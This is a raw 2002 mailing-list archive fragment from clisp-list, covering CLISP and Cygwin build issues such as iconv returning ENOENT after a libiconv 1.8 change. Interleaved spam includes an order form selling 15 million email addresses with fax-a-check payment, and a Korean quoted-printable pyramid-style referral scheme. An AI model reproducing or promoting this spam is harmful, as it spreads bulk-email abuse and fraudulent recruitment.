MARKETING CD with 15 MILLION Email addresses for $229.00. *Price includes shipping and handling with the U.S. DATE___________ NAME_____________________________________________________ Name and address must match credit card. COMPANY NAME_____________________________________________ ADDRESS__________________________________________________ CITY, STATE, ZIP_________________________________________ PHONE NUMBERS____________________________________________ FAX NUMBERS______________________________________________ EMAIL ADDRESS____________________________________________ Must have a valid e-mail address for credit card orders. You will receive receipt of credit card charges by e-mail. CHECKS BY FAX SERVICES! 24 HOUR FAX SERVICES If you would like to fax a check, paste your check below and fax it to: 661-244-4903. You do not have to mail the original check we will simply make a draft from the copy you fax. Make all checks payable to P.W. MARKETING LLC ****************************************************** Paste or Tape your check here and fax along with this order form to 661-244-4903 ****************************************************** If you fax a check, there is no need for you to send the original. To be talem off our mailing list please click on the link below that will send us a email and we will permanently remove you from our mailing list. MailTo:ksnnj@yahoo.com?subject=take-out From ampy@ich.dvo.ru Fri Nov 15 04:14:52 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru ident=[EmpAJ4hOU6rrtKOtDmgTJ+IXJCLMVLEl]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18CfMy-0000HA-00 for ; Fri, 15 Nov 2002 04:14:45 -0800 Received: from ppp106-AS-2.vtc.ru (ppp106-AS-2.vtc.ru [212.16.216.106]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gAFCDiM0002514; Fri, 15 Nov 2002 22:13:47 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <8015744729.20021115195515@ich.dvo.ru> To: Randall R Schulz CC: clisp-list@lists.sourceforge.net Subject: Re[3]: [clisp-list] Compile and Debugging options In-reply-To: <5.1.0.14.2.20021111073751.02f548f0@pop3.cris.com> References: <3DCE7154.1E79A193@ieee.org> <5.1.0.14.2.20021111073751.02f548f0@pop3.cris.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 15 04:15:03 2002 X-Original-Date: Fri, 15 Nov 2002 19:55:15 +1000 Hi, Tuesday, November 12, 2002, 1:49:25 AM, you wrote: > Look into the Cygwin registry setting "heap_chunk_in_mb". Thank you. It didn't help. While heap_chunk_in_mb affects this allocation test program, ar still doesn't work. But I don't have 1024 Mb of memory anyway... Max is 400 Mb, but ar cannot require so much memory to put 8Mb obj to library... Just want you to know. -- Best regards, Arseny From gimssine@sayclub.com Fri Nov 15 17:17:28 2002 Received: from [211.110.61.12] (helo=sayclub.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18CraQ-0006IE-00 for ; Fri, 15 Nov 2002 17:17:27 -0800 Message-ID: <16550-220021131301856642@sayclub.com> X-EM-Version: 6, 0, 0, 4 X-EM-Registration: #0010630410721500AB30 Reply-To: gimssine@sayclub.com From: "´ÚÅÍÅ´" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=KS_C_5601-1987 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Àǻ缱»ý´Ôµµ ÀÌ·± ºÎ¾÷Àº ÇÑ´ä´Ï´Ù.(±¤°í) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Nov 15 17:18:06 2002 X-Original-Date: Wed, 13 Nov 2002 09:18:56 +0900

=C1=A4=BA=B8=C5=EB=BD=C5=BA=CE =B1=C7=B0=ED =BB=E7=C7=D7=BF= =A1 =C0=C7=B0=C5 =C1=A6=B8=F1=BF=A1 [=B1=A4=B0=ED]=B6=F3=B0=ED =C7=A5=B1=E2=C7=D1 =B1=A4=B0=ED =B8=DE=C0= =CF=C0=D4=B4=CF=B4=D9=2E
=BC=F6=BD=C5=C0=BB =BF=F8=C4=A1 =BE=CA=C0=B8=BD= =C3=B8=E9 = =BC=F6=BD=C5=B0=C5=BA=CE=B8=A6 =B4=AD=B7=AF=C1=D6=BC=BC=BF=E4

=B8=C5=B5=E5=C7=C7=BE=C6: http://www=2Emadpia=2Ecom/index=2Easp?r_id=3Dyskim

=20

 

=C4=C4=C7=BB=C5=CD=B7=CE =BF=B5= =C8=AD=BA=B8=B0=ED =B8=EE=BB=E7=B6=F7=BF=A1=B0=D4 =C0=CC =BB=E7=BD=C7=C0=BB=20 =BE=CB=B7=C1=C1=DC=C0=B8=B7=CE =C7=D8=BC=AD =B3=AA=BF=A1=B0=D4 =BC=F6=C0=D4= =C0=CC =BB=FD=B0=DC=B3=AA=B4=C2

=B8=C5=BF=EC =BD=AC=BF=EE =C0= =CF =C0=D4=B4=CF=B4=D9=2E

=B5=B7=B9=F6=B4=C2 =C0=E7=B9=CC= =B0=A1 =C0=E5=B3=AD=C0=CC =BE=C6=B4=CF=B6=F3=B4=CF=B1=F1=BF=E4=2E=20  

=C1=FD=BF=A1=BC=AD =BC=D2=C0=CF= =BB=EF=BE=C6 =C0=CC=B0=CD=B8=B8 =C7=D8=B5=B5  -=20 =BE=C6=B8=B6 =BE=EE=C1=F6=B0=A3=C7=D1 =BF=F9=B1=DE=BA=B8=B4=D9 =B3=AA=C0=BB= =B0=CC=B4=CF=B4=D9=2E

=C0=DF =BA=B8=BD=C3=B1=B8 - =C7= =D1=B9=F8 =BF=AD=BD=C9=C8=F7 =C7=D8=BA=B8=BC=C5=BF=E4=2E

 

9=BF=F91=C0=CF =BF=C0=C7=C2=C7=D1 = =BF=B5=C8=AD=C0=FC=B9=AE =C6=F7=C5=D0=BB=E7=C0=CC=C6=AE "=B8=C5=B5=E5=C7=C7=BE=C6"=20 =C3=D6=B4=DC=B1=E2=B0=A3 =C3=D6=B0=ED=BC=F6=C0=CD=C0=C7 =C8=AF=C8=F1=B8=A6= =B8=C0 =BA=B8=BD=CA=BD=C3=BF=E4=2E!!

 

=A1=DA=A1=DA =B8=C5=B5=E5=C7=C7=BE=C6= =C0=C7 =BC=F6=C0=CD=B1=B8=C1=B6 =A1=DA=A1=DA
3*10 =B8=C5= =C6=AE=B8=AF=BD=BA =BD=BA=C7=CA=BF=C0=B9=F6 =B9=E6=BD=C4=C0=B8=B7=CE=20 =C8=B8=BF=F8=B5=E9=BF=A1=B0=D4 =B4=EB=B4=DC=C7=D1 =BA=B8=BB=F3=C0=BB =B5=E5= =B8=AE=B0=ED =C0=D6=BD=C0=B4=CF=B4=D9=2E
=B6=C7=C7=D1 =B0=AD=BE=D0=C0=FB=C0=CE =B9=B0=C7=B0=B1=B8=B8=C5 =C8=B8=BB=E7= =B0=A1 =BE=C6=B4=D1 =C0=CF=B9=DD=BF=B5=C8=AD =B9=D7 =BC=BA=C0=CE =BF=B5=C8= =AD=BD=CE=C0=CC=C6=AE=B7=CE=C0=C7 =C8=B9=B1=E2=C0=FB=C0=CE=20 =BD=C3=BD=BA=C5=DB =C0=D4=B4=CF=B4=D9=2E
=BF=F8=B0=A1=B0=A1 =C0=D6=B4=C2 =B9=B0=C7=B0=B1=B8=B8=C5=B0=A1 =BE=C6=B4=CF= =B9=C7=B7=CE =B4=E7=BF=AC=C8=F7 =C8=B8=BF=F8=B5=E9=BF=A1=B0=D4=B8=B9=C0=BA= =BA=B8=BB=F3(=BC=F6=B4=E7)=C0=BB =C1=F6=B1=DE=C7=CF=B4=C2=20 =B0=CD=C0=D4=B4=CF=B4=D9=2E

1=C0=CE=B4=E7 3=B8=ED=BE= =BF =C3=D6=B4=EB 10=B4=DC=B0=E8=B1=EE=C1=F6 =C0=FB=BF=EB=B5=C7=B4=C2 =B4=DC=B0=E8=BA=B0=20 =C3=DF=C3=B5 =C1=A6=B5=B5 3*10=C0=D4=B4=CF=B4=D9=2E

(=C3=DF=C3=B5=C0=CE =BE=F8=C0=CC =C0=CF=B9=DD=C8=B8=BF=F8=C0=BA= =C0=FD=B4=EB =C8=B8=BF=F8=B0=A1=C0=D4=C0=CC =BE=C8=B5=CB=B4=CF=B4=D9=2E)<= /font>

=C3=DF=C3=B5=20 =BE=C6=C0=CC=B5=F0 : yskim

=A1=DA =B4=EB=B4=DC=C7=D1 =B1=D4=B8=F0=C0=C7 =BC=F6=C0= =CD=B1=B8=C1=B6

 

 =C0=CC=B9=F8=B1=E2=C8=B8=B4=C2=20 =C0=FD =B6=A7 =B3=F5=C4=A1=C1=F6 =B8=B6=BD=CA=BD=C3=BF=C0
=B8=C5=B5=E5=C7=C7=BE=C6: http://www=2Emadpia=2Ecom/index=2Easp?r_id=3Dyskim<= font size=3D"2">=20

 

1 =B4=DC=B0=E8 - 3=B8=ED - =B4=A9=C0=FB= =C8=B8=BF=F8=BC=F6 3=B8=ED - =B8=C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD=20 3000=BF=F8+ (5000=BF=F8*=C3=DF=C3=B5=C0=CE)
2 =B4=DC=B0=E8 - 9=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 12=B8=ED - =B8=C5= =B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD 12,000=BF=F8+ (5000=BF=F8*=C3=DF=C3=B5= =C0=CE)=20
3 =B4=DC=B0=E8 - 27=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 39=B8=ED - =B8= =C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD 39,000=BF=F8+ (5000=BF=F8*=C3=DF=C3=B5=C0=CE)=20
4 =B4=DC=B0=E8 - 81=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 120=B8=ED - =B8= =C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD
120,000=BF=F8 + (5000=BF=F8*=C3=DF=C3=B5=C0=CE)
5 =B4=DC=B0=E8 - 243=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 363=B8=ED - =B8= =C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD
363,000=BF=F8 + (5000=BF=F8*=C3=DF=C3=B5=C0=CE)
6 =B4=DC=B0=E8 - 729=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 1092=B8=ED - = =B8=C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD
1,092,000=BF=F8 + (5000=BF=F8*=C3=DF=C3=B5=C0=CE)
7 =B4=DC=B0=E8 - 2187=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 3279=B8=ED -= =B8=C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD
3,279,000=BF=F8 + (5000=BF=F8*=C3=DF= =C3=B5=C0=CE)
8 =B4=DC=B0=E8 - 6561=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 9840=B8=ED -= =B8=C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD
9,840,000=BF=F8 + (5000=BF=F8*=C3=DF= =C3=B5=C0=CE)
9 =B4=DC=B0=E8 - 19683=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 29523=B8=ED= - =B8=C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD
29,523,000=BF=F8 + (5000=BF=F8*=C3=DF= =C3=B5=C0=CE)
10 =B4=DC=B0=E8 - 59049=B8=ED - =B4=A9=C0=FB =C8=B8=BF=F8=BC=F6 88572=B8=ED= - =B8=C5=B4=DE=B4=A9=C0=FB =BC=F6=C0=CD=B1=DD
88,572,000=BF=F8 + (5000=BF=F8*=C3=DF= =C3=B5=C0=CE)

=3D=3D>=B5=FB=B6=F3=BC=AD =BE=EE=B4=C0= =B4=A9=B1=B8=B3=AA - =B0=A2 =B0=B3=C0=CE=B4=E7 3=B8=ED=BE=BF=B8=B8 =B1=A4=B0=ED=C7= =CF=B8=E9 =B5=C7=B4=C2 =BD=C3=BD=BA=C5=DB=C0=D4=B4=CF=B4=D9

=3D=3D>=C3=DF=C3=B5=C0=CE 1=B8=ED=B4= =E7 5,000=BF=F8=C0=C7 =B0=A1=C0=D4=C3=E0=C7=CF=B1=DD=C0=BB =B9=DE=B1=B8=BF=E4=2E=20 =C8=B8=BF=F8=B9=DF=BB=FD=BF=A1 =C0=C7=C7=D1 1,000=BF=F8=C0=BB =B9=DE=BD=C0= =B4=CF=B4=D9=2E
(=BA=BB=C0=CE=C0=C7 =C1=F7 =C3=DF=C3=B5=C0=CE 1=B8=ED=B4=E7 5000=BF=F8+100= 0=BF=F8=3D6000=BF=F8=B0=FA =B3=BB=B0=A1 =C3=DF=C3=B5=C7=CF=C1=F6 =BE=CA=BE= =C6=B5=B5 =B9=AB=C1=B6=B0=C7 =C7=CF=BA=CE=C8=B8=BF=F8=C0=CC=20
=B9=DF=BB=FD=C7=CF=B8=E9 1=B8=ED=B4=E7 1,000=BF=F8=BE=BF) =B8=B8=BE=E0 =B4= =D4=B2=B2=BC=AD
=B4=DC =C7=D1=B8=ED=B5=B5 =C3=DF=C3=B5=C0=BB=C7=CF=C1=F6=20 =B8=F8=C7=D1=B4=D9=C7=D8=B5=B5 =B9=AB=B7=C1 7=B4=DC=B0=E8=B1=EE=C1=F6(=BE=E0= 300=B8=B8=BF=F8=C0=CC=BB=F3) =B8=C5=B4=DE =C0=FB=B8=B3=C0=CC =B5=CB=B4=CF= =B4=D9=2E=20     =B1=D7=B7=AF=B3=AA=20 =C3=DF=C3=B5=C0=BB =BB=A1=B8=AE =BB=A1=B8=AE =C7=CF=BD=C3=B4=C2 =B0=CD=C0=CC= =BC=F6=C0=CD=C0=BB =B3=B2=BA=B8=B4=D9 =BB=A1=B8=AE =BE=F2=B4=C2 =B1=E6=C0= =CC=B6=F3=B4=C2 =B0=C5  - =C0=DF=20 =BE=C6=BD=C3=C1=F6=BF=E4?
=3D=3D> =C3=DF=C3=B5=C0=CE =BE=F8=C0=CC=B4=C2 =B0=A1=C0=D4=C0=CC =BE=C8= =B5=C7=B9=C7=B7=CE =B9=AB=C1=B6=B0=C7 =C7=CF=BA=CE=C8=B8=BF=F8=C0=BA =C0=DA= =B5=BF=BB=FD=BC=BA =B5=CB=B4=CF=B4=D9=2E=B1=D7=B7=AF=B9=C7=B7=CE,=B3=B2=BA=B8=B4=D9=20 =B8=D5=C0=FA =BD=C3=C0=DB=C7=CF=B4=C2 =BB=E7=B6=F7=C0=CC 10=B4=DC=B0=E8=B1= =EE=C1=F6 =BB=A1=B8=AE =B5=B5=B4=DE=C7=CF=B0=DA=C1=D2(=B6=C7=C7=D1,=B0=A2 = =B4=DC=B0=E8(=B6=F3=C0=CE)=C0=BA =C0=FD=B4=EB =B2=F7=B1=E6=20 =BC=F6=B0=A1 =BE=F8=BD=C0=B4=CF=B4=D9)
=3D=3D>1=B4=EB =C3=DF=C3=B5=C0=CE=C0=C7 =BC=F6=B8=A6 3=B8=ED=C0=B8=B7=CE= =C1=A6=C7=D1=C7=D1 =B0=CD=C0=BA =B9=AB=BA=D0=BA=B0=C7=D1 =B1=A4=B0=ED=BF=CD= =B4=C9=B7=C2=C0=D6=B4=C2 =BB=F3=C0=A7 =C8=B8=BF=F8=C0=BA=20 =C7=CF=C0=A7 =C8=B8=BF=F8=C0=BB =B5=B5=BF=CD =C1=D6=B6=F3=B4=C2 =C0=C7=B9=CC= =BF=A1=BC=AD =C1=A6=C7=D1 =C7=CF=BF=B4=BD=C0=B4=CF=B4=D9=2E
=3D=3D>=C3=DF=C3=B5=C7=D2 =BC=F6 =C0=D6=B4=C2 =C3=DF=C3=B5=C0=CE =BC=F6= =C0=C7 =C1=A6=BE=E0=C0=BA =BE=F8=BD=C0=B4=CF=B4=D9=2E

=3D=3D>=C0=DA=BD=C5=C0=C7 =C3=DF=C3=B5=C0=CE=C0=CC 3=B8=ED=C0=CC=BB=F3=C0= =CF =B0=E6=BF=EC 4=B9=F8=C2=B0 =C3=DF=C3=B5=C0=CE=C0=BA 3=B8=ED=C0=C7 =C7=CF= =C0=A7 =C8=B8=BF=F8 =C1=DF =B0=A1=C0=D4=BC=F8=BC=AD=B0=A1=20 =B0=A1=C0=E5 =BA=FC=B8=A5 =C8=B8=BF=F8=C0=C7 =C7=CF=C0=A7=C8=B8=BF=F8=C0=B8= =B7=CE =BB=FD=BC=BA=B5=CB=B4=CF=B4=D9=2E

(=B1=D7=B7=AF=B9=C7=B7=CE,=B0=A2 =B4=DC= =B0=E8 =C7=FC=BC=BA=C0=BA =BE=F6=C3=BB =BA=FC=B8=A3=B4=D9=B4=C2=B0=CD=C0=BB= =BE=CB=BC=F6=20 =C0=D6=B0=DA=C1=D2)

=B8=C5=B5=E5=C7=C7=BE=C6: http://www=2Emadpia=2Ecom/index=2Easp?r_id=3Dyskim<= font size=3D"2">=20


*** =C5=F5=C0=DA=BA=F1=BF=EB ***
=BF=F9 2=B8=B8=BF=F8=C0=B8=B7=CE =B4=D9=BE=E7=C7=D1 =C0=E5=B8=A3=C0=C7 =BF= =B5=C8=AD =B9=D7 =BC=BA=C0=CE=BF=B5=C8=AD=B8=A6 =B0=A8=BB=F3=C7=CF=B8=E9=BC= =AD =BF=A9=B1=E2=C0=FA=B1=E2 =B8=EE=B1=BA=B5=A5 =C8=AB=BA=B8=B8=B8=20 =C7=CF=BD=C3=B8=E9 =B5=C7=B4=C2 =C0=CF=C0=D4=B4=CF=B4=D9=2E

=B1=D7=B8=AE=B0=ED,=BF=F9 =C0=CC=BF=EB=B7=E1=B8=A6 =B0=C6=C1=A4=C7=CF=BD=C3= =B4=C2 =BA=D0=B5=E9=C0=BA =C3=D6=C3=CA =B0=A1=C0=D4=C8=C4 =BA=BB=C0=CE=C0=CC= 3=B8=ED=B8=B8 =C1=F7 =C3=DF=C3=B5 =B9=DE=C0=B8=BD=C3=B0=ED=20 =B0=A1=B2=FB =C8=AB=BA=B8=C7=CF=BF=A9 =C7=D1 ,=B5=CE=B4=DE=BF=A1 1~2=B8=ED= =C1=A4=B5=B5=B8=B8 =C7=D8=B5=B5 =BF=F9 =C0=CC=BF=EB=B7=E1=B4=C2

=C3=E6=BA=D0=C8=F7 =B3=AA=BF=C0=B8=AE=B6= =F3 =BB=FD=B0=A2=C0=CC =B5=EC=B4=CF=B4=D9=2E  =B8=BB=C7=CF=C0=DA=B8=E9=20 =C0=DA=BD=C5=C0=CC =B0=A1=C0=D4=C8=C4 =C1=F7=C3=DF=C3=B5=C0=CC=B5=E7 =BE=C6= =B4=CF=B5=E7 =C0=DA=BD=C5=C0=C7 =C7=CF=BA=CE=C8=B8=BF=F8=C0=CC 20=B8=ED=C0= =CC =B5=C7=BE=FA=C0=BB=B6=A7 =B1=D7 =B4=D9=C0=BD=B4=DE=20 =BA=CE=C5=CD=B4=C2 =C0=CC=BF=EB=B7=E1=B8=A6 =C1=F6=BA=D2=C7=D2 =C0=CF=C0=CC= =BE=F8=B0=DA=C1=D2=2E

=B5=FB=B6=F3=BC=AD,=C0=DA=BD=C5=C0=CC =B0=A1=C0=D4=C8=C4 =C7=D1=B4=DE=BE=C8= =BF=A1 =C7=CF=BA=CE=C8=B8=BF=F8=C0=CC 20=B8=ED=C0=CC =B5=C7=BE=FA=B4=D9=B8= =E9 =B0=A1=C0=D4=BD=C3 2=B8=B8=BF=F8=C0=CC =C5=F5=C0=DA=BA=F1=BF=EB=C0=B8=B7=CE=20 =B3=A1=B3=AA=B4=C2 =B0=CD=C0=D4=B4=CF=B4=D9=2E

=C0=CC=B0=CD=C0=CC =C8=FB=B5=E9=B8=E9 =C6=F7=C5=D0=BF=B5=C8=AD =BD=CE=C0=CC= =C6=AE=C0=CC=B4=CF =BF=B5=C8=AD=B0=FC=B6=F7=B7=E1 =B7=CE =BB=FD=B0=A2=C7=CF= =BC=C5=B5=B5 =B9=AB=B9=E6=C7=D2=B5=ED =BD=CD=B1=BA=BF=E4(=BF=E4=C1=F2=20 =BC=BA=C0=CE=BF=B5=C8=AD =BD=CE=C0=CC=C6=AE=B8=A6 =BA=B8=B8=E9 =C7=D1 =C6=ED= =B4=E7 500=BF=F8~1000=BF=F8=C0=BB =B9=DE=B4=C2=B5=A5=B5=B5 =B8=B9=C0=CC =C0= =D6=C0=B8=B4=CF=B1=EE=BF=E4)

=B1=D7=B8=AE=B0=ED,=B8=B8=BE=E0 =BA=BB=C0=CE=C0=C7 =BC=F6=B4=E7=C0=CC 20,0= 00=BF=F8 =C0=CC=BB=F3=B5=C7=B8=E9 =BC=F6=B4=E7 =C1=F6=B1=DE=BD=C3=BF=A1 =C0= =DA=B5=BF=C0=B8=B7=CE =B4=D9=C0=BD=B4=DE =C0=CC=BF=EB=B7=E1=B8=A6=20 =C2=F7=B0=A8=C7=CF=B0=ED =BA=BB=C0=CE=C0=C7 =C5=EB=C0=E5=C0=B8=B7=CE =C0=D4= =B1=DD =C3=B3=B8=AE =C7=D8 =B5=E5=B8=AE=B1=E2 =B6=A7=B9=AE=BF=A1 =BD=C5=B0= =E6=BE=B2=BD=C3=C1=F6

=BE=CA=BE=C6=B5=B5 =B5=CB=B4=CF=B4=D9=2E=

=BD=C3=B0=A3=C0=CC =B0=A1=B8=E9=BC=AD =C0= =CC=BC=F6=C0=D4=C0=BA =BA=FC=B8=A3=B0=ED =C1=F6=BC=D3=C0=FB=C0=B8=B7=CE =B4=C3=BE=EE=B3=B3=B4=CF=B4=D9=2E=20
=C8=B8=BF=F8=C3=DF=C3=B5=C0=CE=BF=A1=BC=AD =B3=A1=B3=AA=B4=C2=B0=D4 =BE=C6= =B4=CF=B6=F3 =B0=E8=BC=D3=C0=FB=C0=B8=B7=CE =BC=F6=C0=D4=C0=CC =B5=C8=B4=D9= =B4=C2 =B0=CC=B4=CF=B4=D9=2E
=C3=DF=C3=B5=C0=CE =BE=C6=C0=CC=B5=F0=B0=A1 =BE=F8=C0=B8=B8=E9 =B0=A1=C0=D4= =C0=CC =BE=C8=B5=CB=B4=CF=B4=D9=2E =C3=DF=C3=B5=BE=C6=C0=CC=B5=F0: yskim

=B8=C5=B5=E5=C7=C7=BE=C6: http://www=2Emadpia=2Ecom/index=2Easp?r_id=3Dyskim<= font size=3D"2">=20

 madpia=B4=C2 =B1=DB=B7=CE=B9=FA =BB=E7=C0=CC=C6=AE=B8= =A6 =B1=B8=C3=E0=C7=D8 =B3=AA=B0=A1=B8=E7 =C7=D1=B1=B9 =B4=D9=C0=BD=C0=B8=B7= =CE =B9=CC=B1=B9=B0=FA=20 =B5=B6=C0=CF=C0=BB =B8=F1=C7=A5=B7=CE =C7=CF=B0=ED =C0=D6=BD=C0=B4=CF=B4=D9= =2E
=C0=CC =C8=EF=B9=CC=C1=F8=C1=F8=C7=D1 =BA=F1=C1=EE=B4=CF=BD=BA=B8=A6 =C0=FD= =B6=A7 =B3=F5=C4=A1=C1=F6 =B8=B6=BD=C3=B1=E2 =B9=D9=B6=F8=B4=CF=B4=D9=2E =B0= =A8=BB=E7=C7=D5=B4=CF=B4=D9=2E

=20

=BA=BB=B8=DE=C0=CF=C0=BA =B0=FC=B7=C3=B9= =FD=C0=BB =C1=D8=BC=F6=C7=CF=BF=A9 (=B1=A4=B0=ED)=B6=F3=B0=ED =C7=A5=BD=C3=C7=CF=BF=B4=C0=B8=B8=E7=20 =BC=F6=BD=C5=B0=C5=BA=CE=C0=E5=C4=A1=B8=A6 =B8=B6=B7=C3=C7=CF=B0=ED =C0=D6= =BD=C0=B4=CF=B4=D9=2E

=B1=CD=C7=CF=C0=C7 =B8=DE=C0=CF=C1=D6=BC= =D2=B4=C2 =C0=CE=C5=CD=B3=DD=BB=F3=BF=A1 =C3=EB=B5=E6=C7=CF=BF=B4=C0=B8=B8= =E7 =C0=CC=BF=DC=C0=C7=20 =B0=B3=C0=CE=C1=A4=BA=B8=B4=C2 =B0=AE=B0=ED=C0=D6=C1=F6 =BE=CA=BD=C0=B4=CF= =B4=D9=2E=B1=D7=B8=AE=B0=ED =C8=A4=BD=C3 =B9=DF=BC=DB=B1=E2=C0=C7 =BF=A1=B7= =AF=B7=CE=C0=CE=C7=CF=BF=A9 =B5=CE=B9=F8 =B9=DE=C0=B8=BD=C3=B4=C2 =B0=E6=BF=EC=B4=C2 =B0=E1=C4=DA =BA=BB=C0=C7=B0=A1= =BE=C6=B4=D4=C0=BB=20 =C0=CC=C7=D8=C7=D8 =C1=D6=BD=CA=BD=C3=BF=C0

=20

 

From ampy@ich.dvo.ru Tue Nov 19 03:37:10 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru ident=[sNXBQY65Ez+6P7Tj8BZ1gyI4UGy3IwMo]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18E6ga-0002LV-00 for ; Tue, 19 Nov 2002 03:36:57 -0800 Received: from ppp74-3640.vtc.ru (ppp74-3640.vtc.ru [212.16.216.74]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gAJBaTM0012903 for ; Tue, 19 Nov 2002 21:36:31 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <8614909488.20021119201202@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] iconv(3) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 19 03:38:01 2002 X-Original-Date: Tue, 19 Nov 2002 20:12:02 +1000 Hi, What does it mean when iconv() returns ENOENT ? It happens during cygwin build - as reported by Alex Tibbles. It happened after I updated cygwin so it may be related with newer version of libiconv. But it may be not... > ;; Loading file type.lisp ... > *** - UNIX error 2 (ENOENT): No such file or directory > *** - EVAL: the function %SAVEINITMEM is undefined I tracked the problem down to iconv call (checking of char 128 of ISO-2022-KR). "Call stack": init.lisp type.lisp charset-range charset-typep iconv_range iconv May be there's an easy explanation of this error ? -- Best regards, Arseny From haible@ilog.fr Thu Nov 21 05:57:27 2002 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ErpY-0003Bb-00 for ; Thu, 21 Nov 2002 05:57:21 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.11.6/8.11.6) with ESMTP id gALDv9Y19188 for ; Thu, 21 Nov 2002 14:57:09 +0100 (MET) Received: from honolulu.ilog.fr ([172.17.4.101]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id gALDv8212073; Thu, 21 Nov 2002 14:57:08 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA18096; Thu, 21 Nov 2002 14:56:24 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15836.58888.736699.513403@honolulu.ilog.fr> From: Bruno Haible To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] iconv(3) In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 21 05:58:02 2002 X-Original-Date: Thu, 21 Nov 2002 14:56:24 +0100 (CET) > What does it mean when iconv() returns ENOENT ? It happens during > cygwin build - as reported by Alex Tibbles. It happened after I > updated cygwin so it may be related with newer version of libiconv. Indeed. On systems like cygwin, libiconv has to #define EILSEQ by itself. In libiconv 1.7 I used to #define EILSEQ EINVAL but this was a mistake, and so in libiconv 1.8 it is changed to #define EILSEQ ENOENT So it is a binary incompatibility; sorry that should have been advertised in libiconv 1.8's README. The fix is to rebuild clisp against libiconv-1.8's file. Fortunately, libintl (which also uses libiconv) doesn't need to be rebuilt. Bruno From ampy@ich.dvo.ru Fri Nov 22 01:09:40 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru ident=[bdiWsge42LcUjMHdFr28J/6cCxLzy3U/]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18F9oT-0001nG-00 for ; Fri, 22 Nov 2002 01:09:25 -0800 Received: from ppp124-AS-2.vtc.ru (ppp124-AS-2.vtc.ru [212.16.216.124]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gAM98jj8010808 for ; Fri, 22 Nov 2002 19:08:48 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <16012557737.20021122191013@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] iconv(3) In-reply-To: <15836.58888.736699.513403@honolulu.ilog.fr> References: 